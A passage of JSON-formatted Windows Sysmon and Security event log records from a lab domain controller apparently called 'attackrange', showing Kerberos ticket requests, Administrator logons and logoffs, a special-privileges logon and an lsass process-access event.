C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.587","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221969,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x75DE4\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x75de4","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221970,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x777C0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x777c0","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221971,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x78003\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x78003","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221972,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221973,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{62235DC2-579D-7E69-19EA-92D0C5BA5459}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{62235DC2-579D-7E69-19EA-92D0C5BA5459}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221974,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{62235DC2-579D-7E69-19EA-92D0C5BA5459}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{62235DC2-579D-7E69-19EA-92D0C5BA5459}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221975,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x7FFD3\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{62235DC2-579D-7E69-19EA-92D0C5BA5459}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x7ffd3","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{62235DC2-579D-7E69-19EA-92D0C5BA5459}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221976,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x7FFD3\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x7ffd3","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221977,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x7FFD3\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x7ffd3","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221978,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221979,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{62235DC2-579D-7E69-19EA-92D0C5BA5459}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{62235DC2-579D-7E69-19EA-92D0C5BA5459}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221980,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{62235DC2-579D-7E69-19EA-92D0C5BA5459}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{62235DC2-579D-7E69-19EA-92D0C5BA5459}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221981,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x7FFFD\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{62235DC2-579D-7E69-19EA-92D0C5BA5459}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x7fffd","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{62235DC2-579D-7E69-19EA-92D0C5BA5459}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 